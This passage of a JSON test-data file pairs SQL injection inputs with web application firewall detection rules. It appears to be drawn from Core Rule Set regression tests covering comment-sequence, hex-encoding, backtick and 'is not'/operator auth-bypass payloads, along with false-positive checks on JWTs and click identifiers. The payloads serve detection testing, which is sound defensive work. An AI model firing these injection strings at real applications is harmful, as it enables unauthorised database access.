"ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=' /*!50000or*/1='1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=' /*!or*/1='1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=0/**/union/*!50000select*/table_name`foo`/**/" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMe--KKF2QT4fwpMeJf36POk6yJV_adQssw-5c" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "Avoid False Positive on JWT (body)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=bar" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "Avoid False Positive on JWT (cookie)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMe--KKF2QT4fwpMeJf36POk6yJV_adQssw-5c" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "Avoid False Positive on JWT (querystring)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "fbclid=IwAR1dug0BYxe0ukhZ2vKrdQwLAxVFRJ--Q2Y7OBJE_0uId9-Eh-sJWLdVk2E" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "False positive against Facebook click identifier" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "gclid=j0KCQiA1NebBhDDARIsAANiDD3_RJeMv8zScF--mC1jf8fO8PDYJCxD9xdwT7iQ59QIIwL-86ncQtMaAh0lEALw_wcB" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "False positive against Google click identifier" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%5c0xf00dsdfdsa" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:\\b0x[a-f\\d]{3,})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942450", "test_description": "SQL Hex Encoding" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=concat%280x223e3c62723e%2Cversion%28%29%2C0x3c696d67207372633d22%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:\\b0x[a-f\\d]{3,})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942450", "test_description": "SQL Hex Encoding" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=select%200x616263" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:\\b0x[a-f\\d]{3,})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942450", "test_description": "SQL Hex Encoding" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=IHRlc3Q0xAcF" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:\\b0x[a-f\\d]{3,})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942450", "test_description": "SQL Hex Encoding - negative" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=9F86D081884C7D659A2FEAA0C55AD015A3BF4F1B2B0B822CD15D6C15B0F00A08" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:\\b0x[a-f\\d]{3,})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942450", "test_description": "SQL Hex Encoding - negative" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "`bla`" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:`(?:(?:[\\w\\s=_\\-+{}()<@]){2,29}|(?:[A-Za-z0-9+/]{4})+(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?)`)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942510", "test_description": "SQLi bypass detected: backticks" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "'bla'" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:`(?:(?:[\\w\\s=_\\-+{}()<@]){2,29}|(?:[A-Za-z0-9+/]{4})+(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?)`)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942510", "test_description": "SQLi bypass detected: backticks" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=id'is%20not-id--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with 'is not something'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=id'is%20notes" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Negative test: 'is notes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=id'not%20like%20id--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with 'not like something'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=id'not%20glob-id--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with 'not glob'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=id'not%20glob-id--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with 'not like glob'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'%7Cemail--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'-email--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'%252Bemail--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'%5Eemail--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'%40email--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Nagive test: Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'%26email--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'%3Cemail--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'%3Eemail--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'%3Demail--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'%2Femail--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'%25email--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'~email--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": 